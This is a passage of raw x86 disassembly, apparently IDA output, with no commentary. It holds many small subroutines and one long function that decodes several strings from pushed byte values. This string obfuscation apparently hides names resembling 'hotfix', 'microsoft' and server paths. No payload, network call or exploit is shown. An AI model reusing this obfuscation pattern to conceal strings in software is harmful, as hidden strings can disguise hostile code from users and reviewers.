pop esi pop ecx retn 4 sub_13B1690 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B16D0 proc near ; CODE XREF: sub_13ABEC3j push esi mov esi, ecx call sub_13ABF63 mov eax, esi pop esi retn sub_13B16D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B16F0 proc near ; CODE XREF: sub_13ABB3Fj mov eax, [ecx] push eax call sub_13AB608 add esp, 4 retn sub_13B16F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1710 proc near ; CODE XREF: sub_13AC30Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_13ABE82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_13B1710 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1740 proc near ; CODE XREF: sub_13ABC3Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_13AC3A0 neg al sbb eax, eax inc eax retn 4 sub_13B1740 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1770 proc near ; CODE XREF: sub_13AB7B6j var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_13AC08A mov edi, eax push edi call sub_13AC058 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_13AB59F push edi mov ebx, eax call sub_13AC058 push edi mov [eax], ebx call sub_13AC058 mov edi, [eax] push edi call sub_13AC058 mov ecx, [eax] push ecx call sub_13ABE82 mov edx, [esp+24h+arg_0] add esp, 10h mov [eax], edi push edx push edi call sub_13AB608 add esp, 4 mov ecx, esi push eax call sub_13ABA72 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+20h+var_C] mov ecx, esi call sub_13AC585 mov eax, esi pop edi pop esi pop ebx retn 0Ch sub_13B1770 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1810 proc near ; CODE XREF: sub_13AB59Fj arg_0 = dword ptr 4 push esi push edi push 0Ch call sub_13ABDC9 mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_13B1825 mov edi, esi loc_13B1825: ; CODE XREF: sub_13B1810+11j push esi call sub_13ABE82 mov [eax], edi mov edi, [esp+10h+arg_0] add esp, 4 test edi, edi jnz short loc_13B183A mov edi, esi loc_13B183A: ; CODE XREF: sub_13B1810+26j push esi call sub_13AC058 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 sub_13B1810 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1860 proc near ; CODE XREF: sub_13ABE82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_13B1860 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1880 proc near ; CODE XREF: sub_13AB608j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_13B1880 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B18A0 proc near ; CODE XREF: sub_13ABF63j mov eax, ecx retn sub_13B18A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B18C0 proc near ; CODE XREF: sub_13AC585j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_13AB5E5 mov eax, esi pop esi retn 4 sub_13B18C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B18F0 proc near ; CODE XREF: sub_13AC3A0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_13B18F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1920 proc near ; CODE XREF: sub_13AC058j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_13B1920 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1940 proc near ; CODE XREF: sub_13ABDC9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_13AC116 add esp, 8 retn 4 sub_13B1940 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1970 proc near ; CODE XREF: sub_13ABA72j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_13AB49B add esp, 8 retn 8 sub_13B1970 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B19A0 proc near ; CODE XREF: sub_13AB5E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_13B19A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B19C0 proc near ; CODE XREF: sub_13AC08Aj mov eax, [ecx] retn sub_13B19C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B19E0 proc near ; CODE XREF: sub_13AC116j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_13B19EA xor eax, eax loc_13B19EA: ; CODE XREF: sub_13B19E0+6j push eax call near ptr 13E0C1Ah add esp, 4 retn sub_13B19E0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1A10 proc near ; CODE XREF: sub_13AB49Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_13AB5CC add esp, 8 test eax, eax jz short locret_13B1A2B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_13B1A2B: ; CODE XREF: sub_13B1A10+11j retn sub_13B1A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1A40 proc near ; CODE XREF: sub_13AB5CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_13B1A40 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1A60 proc near ; CODE XREF: sub_13ABF2Cj var_28 = dword ptr -28h var_20 = dword ptr -20h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push 438638h push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_13ABBE4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D26 call sub_13ABF5E lea ecx, [esp+28h+var_14] mov [esp+28h+var_20], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+28h+var_28] mov large fs:0, ecx add esp, 0Ch retn 1Ch sub_13B1A60 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1AF0 proc near ; CODE XREF: sub_13AC0C1j var_28 = dword ptr -28h var_20 = dword ptr -20h var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push 438660h push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_13ABBE4 push eax lea ecx, [esp+20h+arg_4] call sub_13ABBE4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D26 call sub_13ABF5E lea ecx, [esp+28h+var_14] mov byte ptr [esp+28h+var_20], 0 call sub_13AB626 lea ecx, [esp+28h+arg_0] mov [esp+28h+var_20], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+28h+var_28] mov large fs:0, ecx add esp, 0Ch retn 34h sub_13B1AF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13B1B90 proc near ; CODE XREF: sub_13AB61Cj var_AAC = byte ptr -0AACh var_A94 = byte ptr -0A94h var_A70 = byte ptr -0A70h var_A5C = dword ptr -0A5Ch var_A58 = byte ptr -0A58h var_A40 = byte ptr -0A40h var_A28 = byte ptr -0A28h var_A10 = dword ptr -0A10h var_9F8 = byte ptr -9F8h var_9E8 = dword ptr -9E8h var_9E0 = byte ptr -9E0h var_9C8 = dword ptr -9C8h var_9B0 = byte ptr -9B0h var_9AC = byte ptr -9ACh var_9A8 = dword ptr -9A8h var_998 = byte ptr -998h var_988 = dword ptr -988h var_980 = byte ptr -980h var_968 = dword ptr -968h var_950 = byte ptr -950h var_948 = dword ptr -948h var_938 = byte ptr -938h var_928 = dword ptr -928h var_920 = byte ptr -920h var_908 = dword ptr -908h var_8F0 = byte ptr -8F0h var_8E8 = dword ptr -8E8h var_8D8 = byte ptr -8D8h var_8C8 = dword ptr -8C8h var_8C0 = byte ptr -8C0h var_8BC = byte ptr -8BCh var_8A8 = dword ptr -8A8h var_898 = byte ptr -898h var_890 = byte ptr -890h var_888 = dword ptr -888h var_878 = byte ptr -878h var_870 = byte ptr -870h var_86C = byte ptr -86Ch var_868 = dword ptr -868h var_860 = byte ptr -860h var_848 = dword ptr -848h var_834 = byte ptr -834h var_830 = byte ptr -830h var_828 = dword ptr -828h var_824 = byte ptr -824h var_818 = byte ptr -818h var_810 = byte ptr -810h var_808 = dword ptr -808h var_800 = byte ptr -800h var_7E8 = dword ptr -7E8h var_7E4 = byte ptr -7E4h var_7D0 = byte ptr -7D0h var_7C8 = dword ptr -7C8h var_7C4 = byte ptr -7C4h var_7B8 = byte ptr -7B8h var_7A8 = dword ptr -7A8h var_7A0 = byte ptr -7A0h var_794 = byte ptr -794h var_790 = byte ptr -790h var_788 = dword ptr -788h var_780 = dword ptr -780h var_768 = dword ptr -768h var_748 = dword ptr -748h var_744 = byte ptr -744h var_728 = dword ptr -728h var_720 = byte ptr -720h var_71C = byte ptr -71Ch var_718 = byte ptr -718h var_714 = byte ptr -714h var_708 = dword ptr -708h var_700 = dword ptr -700h var_6FC = byte ptr -6FCh var_6F4 = byte ptr -6F4h var_6E8 = byte ptr -6E8h var_6C8 = dword ptr -6C8h var_6C4 = byte ptr -6C4h var_6C0 = byte ptr -6C0h var_6BC = byte ptr -6BCh var_6AC = byte ptr -6ACh var_69C = byte ptr -69Ch var_690 = byte ptr -690h var_68C = dword ptr -68Ch var_688 = byte ptr -688h var_684 = byte ptr -684h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_614 = dword ptr -614h var_610 = byte ptr -610h var_60C = byte ptr -60Ch var_5F4 = byte ptr -5F4h var_5D8 = dword ptr -5D8h var_5D4 = byte ptr -5D4h var_5D0 = byte ptr -5D0h var_59C = dword ptr -59Ch var_598 = byte ptr -598h var_594 = byte ptr -594h var_560 = dword ptr -560h var_55C = byte ptr -55Ch var_558 = dword ptr -558h var_554 = byte ptr -554h var_528 = byte ptr -528h var_520 = dword ptr -520h var_51C = byte ptr -51Ch var_518 = byte ptr -518h var_4E8 = byte ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = byte ptr -4E0h var_4DC = byte ptr -4DCh var_4D4 = byte ptr -4D4h var_4B4 = byte ptr -4B4h var_4A8 = dword ptr -4A8h var_4A4 = byte ptr -4A4h var_4A0 = byte ptr -4A0h var_498 = byte ptr -498h var_48C = byte ptr -48Ch var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_464 = byte ptr -464h var_44C = byte ptr -44Ch var_440 = byte ptr -440h var_430 = dword ptr -430h var_42C = byte ptr -42Ch var_428 = byte ptr -428h var_3F4 = dword ptr -3F4h var_3F0 = byte ptr -3F0h var_3EC = byte ptr -3ECh var_3BC = dword ptr -3BCh var_3B8 = byte ptr -3B8h var_3B4 = dword ptr -3B4h var_3B0 = byte ptr -3B0h var_3AC = byte ptr -3ACh var_3A8 = byte ptr -3A8h var_3A4 = byte ptr -3A4h var_3A0 = byte ptr -3A0h var_39C = byte ptr -39Ch var_398 = byte ptr -398h var_394 = byte ptr -394h var_390 = byte ptr -390h var_384 = byte ptr -384h var_380 = byte ptr -380h var_37C = byte ptr -37Ch var_348 = byte ptr -348h var_344 = byte ptr -344h var_340 = byte ptr -340h var_330 = byte ptr -330h var_32C = byte ptr -32Ch var_320 = byte ptr -320h var_318 = byte ptr -318h var_30C = byte ptr -30Ch var_308 = byte ptr -308h var_304 = byte ptr -304h var_2F4 = byte ptr -2F4h var_2E4 = byte ptr -2E4h var_2DC = byte ptr -2DCh var_2D0 = byte ptr -2D0h var_2CC = byte ptr -2CCh var_2C8 = byte ptr -2C8h var_2C4 = byte ptr -2C4h var_2B4 = byte ptr -2B4h var_2AC = byte ptr -2ACh var_2A4 = byte ptr -2A4h var_298 = byte ptr -298h var_294 = byte ptr -294h var_290 = byte ptr -290h var_28C = byte ptr -28Ch var_284 = byte ptr -284h var_27C = byte ptr -27Ch var_268 = byte ptr -268h var_264 = byte ptr -264h var_258 = byte ptr -258h var_254 = byte ptr -254h var_250 = byte ptr -250h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_218 = byte ptr -218h var_214 = byte ptr -214h var_210 = byte ptr -210h var_204 = byte ptr -204h var_200 = byte ptr -200h var_1EC = byte ptr -1ECh var_1E0 = byte ptr -1E0h var_1DC = byte ptr -1DCh var_1D8 = byte ptr -1D8h var_1D4 = byte ptr -1D4h var_1C8 = byte ptr -1C8h var_1BC = byte ptr -1BCh var_1A8 = byte ptr -1A8h var_1A4 = byte ptr -1A4h var_1A0 = byte ptr -1A0h var_19C = byte ptr -19Ch var_198 = byte ptr -198h var_190 = byte ptr -190h var_18C = byte ptr -18Ch var_184 = byte ptr -184h var_174 = byte ptr -174h var_164 = byte ptr -164h var_160 = byte ptr -160h var_15C = byte ptr -15Ch var_14C = byte ptr -14Ch var_144 = byte ptr -144h var_138 = byte ptr -138h var_128 = byte ptr -128h var_124 = byte ptr -124h var_120 = byte ptr -120h var_114 = byte ptr -114h var_110 = byte ptr -110h var_104 = byte ptr -104h var_F8 = byte ptr -0F8h var_EC = byte ptr -0ECh var_E8 = byte ptr -0E8h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_B0 = byte ptr -0B0h var_AC = byte ptr -0ACh var_A8 = byte ptr -0A8h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_74 = byte ptr -74h var_70 = byte ptr -70h var_6C = byte ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_5C = byte ptr -5Ch var_58 = byte ptr -58h var_54 = byte ptr -54h var_50 = byte ptr -50h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push 43897Ch mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_13AB824 lea ecx, [esp+35Ch+var_1A4] mov [esp+35Ch+var_4], 0 call sub_13AB824 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 1 call sub_13AB824 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 2 call sub_13AB824 lea ecx, [esp+35Ch+var_2DC] mov byte ptr [esp+35Ch+var_4], 3 call sub_13AB824 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 4 call sub_13AB824 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 5 call sub_13AB824 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 6 call sub_13AB824 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_13AB824 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_13AB824 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_13AB824 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_13AB824 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_13AB824 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_13AB824 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_13AB824 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_13AB824 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_13AB824 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 10h call sub_13AB824 lea ecx, [esp+35Ch+var_144] mov byte ptr [esp+35Ch+var_4], 11h call sub_13AB824 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_1BC] call sub_13AB824 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 13h call sub_13AB824 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 14h call sub_13AB824 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 15h call sub_13AB824 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 16h call sub_13AB824 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 17h call sub_13AB824 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 18h call sub_13AB824 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 19h call sub_13AB824 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_13AB824 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_13AB824 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_13AB824 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_13AB824 mov bl, 1Eh push offset dword_4438BC lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_13ABE87 push offset dword_4438B4 lea ecx, [esp+364h+var_1A8] call sub_13ABE87 push offset dword_4438AC lea ecx, [esp+368h+var_2B4] call sub_13ABE87 push offset dword_443894 lea ecx, [esp+36Ch+var_1E0] call sub_13ABE87 push offset dword_4438B4 lea ecx, [esp+370h+var_214] call sub_13ABE87 push offset dword_4438AC lea ecx, [esp+374h+var_200] call sub_13ABE87 push offset dword_44388C lea ecx, [esp+378h+var_2F4] call sub_13ABE87 push offset dword_443888 lea ecx, [esp+37Ch+var_298] call sub_13ABE87 push offset dword_443880 lea ecx, [esp+380h+var_2E4] call sub_13ABE87 push offset dword_44386C lea ecx, [esp+384h+var_258] call sub_13ABE87 push offset dword_443864 lea ecx, [esp+388h+var_28C] call sub_13ABE87 push offset dword_44385C lea ecx, [esp+38Ch+var_320] call sub_13ABE87 push offset dword_443850 lea ecx, [esp+390h+var_2C4] call sub_13ABE87 push offset dword_443828 lea ecx, [esp+394h+var_190] call sub_13ABE87 push offset dword_44381C lea ecx, [esp+398h+var_14C] call sub_13ABE87 push offset dword_443808 lea ecx, [esp+39Ch+var_1C8] call sub_13ABE87 push offset dword_4437FC lea ecx, [esp+3A0h+var_184] call sub_13ABE87 push offset dword_4437F8 lea ecx, [esp+3A4h+var_110] call sub_13ABE87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea eax, [esp+3CCh+var_390] push 46h push eax call sub_13ABDB5 add esp, 30h push eax lea ecx, [esp+3A8h+var_204] mov [esp+3A8h+var_4C], 1Fh call sub_13AC40E lea ecx, [esp+3A8h+var_394] mov [esp+3A8h+var_50], bl call sub_13AB626 push 0 push 13h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 5 push 14h push 0Fh lea ecx, [esp+3F0h+var_394] push 8 push ecx call sub_13ABDB5 add esp, 50h push eax lea ecx, [esp+3ACh+var_268] mov [esp+3ACh+var_50], 20h call sub_13AC40E lea ecx, [esp+3ACh+var_398] mov [esp+3ACh+var_54], bl call sub_13AB626 push 0 push 4Dh push 4Dh push 4Dh push 4Dh lea edx, [esp+3C0h+var_398] push edx call sub_13ABDB5 add esp, 18h push eax lea ecx, [esp+3B0h+var_104] mov [esp+3B0h+var_54], 21h call sub_13AC40E lea ecx, [esp+3B0h+var_39C] mov [esp+3B0h+var_58], bl call sub_13AB626 push 0 push 4Dh push 4Dh push 4Dh lea eax, [esp+3C0h+var_39C] push 4Dh push eax call sub_13ABDB5 add esp, 18h push eax lea ecx, [esp+3B4h+var_138] mov [esp+3B4h+var_58], 22h call sub_13AC40E lea ecx, [esp+3B4h+var_3A0] mov [esp+3B4h+var_5C], bl call sub_13AB626 push 0 push 4Dh push 4Dh push 4Dh lea ecx, [esp+3C4h+var_3A0] push 4Dh push ecx call sub_13ABDB5 add esp, 18h push eax lea ecx, [esp+3B8h+var_2A4] mov [esp+3B8h+var_5C], 23h call sub_13AC40E lea ecx, [esp+3B8h+var_3A4] mov [esp+3B8h+var_60], bl call sub_13AB626 push 0 push 4Dh push 4Dh push 4Dh lea edx, [esp+3C8h+var_3A4] push 4Dh push edx call sub_13ABDB5 add esp, 18h push eax lea ecx, [esp+3BCh+var_F8] mov [esp+3BCh+var_60], 24h call sub_13AC40E lea ecx, [esp+3BCh+var_3A8] mov [esp+3BCh+var_64], bl call sub_13AB626 push 0 push 5 push 15h push 12h lea eax, [esp+3CCh+var_3A8] push 14h push eax call sub_13ABDB5 add esp, 18h push eax lea ecx, [esp+3C0h+var_390] mov [esp+3C0h+var_64], 25h call sub_13AC40E lea ecx, [esp+3C0h+var_3AC] mov [esp+3C0h+var_68], bl call sub_13AB626 push 0 push 5 push 13h push 0Ch push 1 lea ecx, [esp+3D4h+var_3AC] push 6 push ecx call sub_13ABDB5 add esp, 1Ch push eax lea ecx, [esp+3C4h+var_37C] mov [esp+3C4h+var_68], 26h call sub_13AC40E lea ecx, [esp+3C4h+var_3B0] mov [esp+3C4h+var_6C], bl call sub_13AB626 lea ecx, [esp+3C4h+var_32C] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+3DCh+var_3B4], esp push eax call sub_13ABC61 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+43Ch+var_3B4] push 13h push edx mov [esp+444h+var_70], 27h call sub_13ABDB5 add esp, 64h mov ecx, eax mov [esp+3E0h+var_70], 28h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+3F8h+var_3BC], esp push eax call sub_13ABC61 lea eax, [esi+0FECh] mov ecx, esi push eax mov [esp+400h+var_74], 29h call sub_13AC0C1 lea ecx, [esp+400h+var_3EC] mov [esp+400h+var_A8], bl call sub_13AB626 lea ecx, [esp+400h+var_380] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+418h+var_3F4], esp push eax call sub_13ABC61 mov [esp+41Ch+var_AC], 2Ah push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+478h+var_3F0] push 13h push ecx call sub_13ABDB5 add esp, 64h mov ecx, eax mov [esp+41Ch+var_AC], 2Bh call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+434h+var_3F4], esp push eax call sub_13ABC61 lea edx, [esi+1035h] mov ecx, esi push edx mov [esp+43Ch+var_B0], 2Ch call sub_13AC0C1 lea ecx, [esp+43Ch+var_428] mov [esp+43Ch+var_E4], bl call sub_13AB626 lea ecx, [esp+43Ch+var_284] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+454h+var_430], esp push eax call sub_13ABC61 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+4A4h+var_42C] push 13h push eax mov [esp+4ACh+var_E8], 2Dh call sub_13ABDB5 add esp, 54h mov [esp+458h+var_E8], 2Eh mov ecx, eax call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+470h+var_430], esp push eax call sub_13ABC61 lea ecx, [esi+0FA3h] mov [esp+474h+var_EC], 2Fh push ecx mov ecx, esi call sub_13AC0C1 lea ecx, [esp+478h+var_464] mov [esp+478h+var_120], bl call sub_13AB626 lea ecx, [esp+478h+var_290] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+490h+var_46C], esp push eax call sub_13ABC61 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+4E8h+var_468] push 13h push edx mov [esp+4F0h+var_124], 30h call sub_13ABDB5 add esp, 5Ch mov ecx, eax mov [esp+494h+var_124], 31h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+4ACh+var_46C], esp push eax call sub_13ABC61 lea eax, [esi+0F5Ah] mov ecx, esi push eax mov [esp+4B4h+var_128], 32h call sub_13AC0C1 lea ecx, [esp+4B4h+var_4A0] mov [esp+4B4h+var_15C], bl call sub_13AB626 lea ecx, [esp+4B4h+var_44C] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+4CCh+var_4A8], esp push eax call sub_13ABC61 push 0 push 18h push 9 mov [esp+4DCh+var_160], 33h push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+534h+var_4A4] push 13h push ecx call sub_13ABDB5 add esp, 6Ch mov ecx, eax mov [esp+4D0h+var_160], 34h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+4E8h+var_4A8], esp push eax call sub_13ABC61 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov [esp+4F0h+var_164], 35h call sub_13AC0C1 lea ecx, [esp+4F0h+var_4DC] mov [esp+4F0h+var_198], bl call sub_13AB626 lea ecx, [esp+4F0h+var_440] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+508h+var_4E4], esp push eax call sub_13ABC61 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+568h+var_4E0] push 13h push edx mov [esp+570h+var_19C], 36h call sub_13ABDB5 add esp, 64h mov ecx, eax mov [esp+50Ch+var_19C], 37h call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+524h+var_4E4], esp push eax call sub_13ABC61 lea eax, [esi+0F11h] mov ecx, esi push eax mov [esp+52Ch+var_1A0], 38h call sub_13AC0C1 lea ecx, [esp+52Ch+var_518] mov [esp+52Ch+var_1D4], bl call sub_13AB626 lea ecx, [esp+52Ch+var_4E8] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+544h+var_520], esp push eax call sub_13ABC61 push 0 push 0Ch push 13h push 13h push 3Fh push 5 push 13h push 15h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+5A0h+var_51C] push 13h push ecx mov [esp+5A8h+var_1D8], 39h call sub_13ABDB5 add esp, 60h mov ecx, eax mov [esp+548h+var_1D8], 3Ah call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+560h+var_520], esp push eax call sub_13ABC61 lea edx, [esi+107Eh] mov ecx, esi push edx mov [esp+568h+var_1DC], 3Bh call sub_13AC0C1 lea ecx, [esp+568h+var_554] mov [esp+568h+var_210], bl call sub_13AB626 lea eax, [esp+568h+var_558] mov ecx, offset byte_E19F9F push eax mov [esp+56Ch+var_558], edi call sub_13ABE5F lea ecx, [esp+56Ch+var_4D4] call sub_13ABBE4 sub esp, 18h mov ecx, esp mov [esp+584h+var_560], esp push eax call sub_13ABC61 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 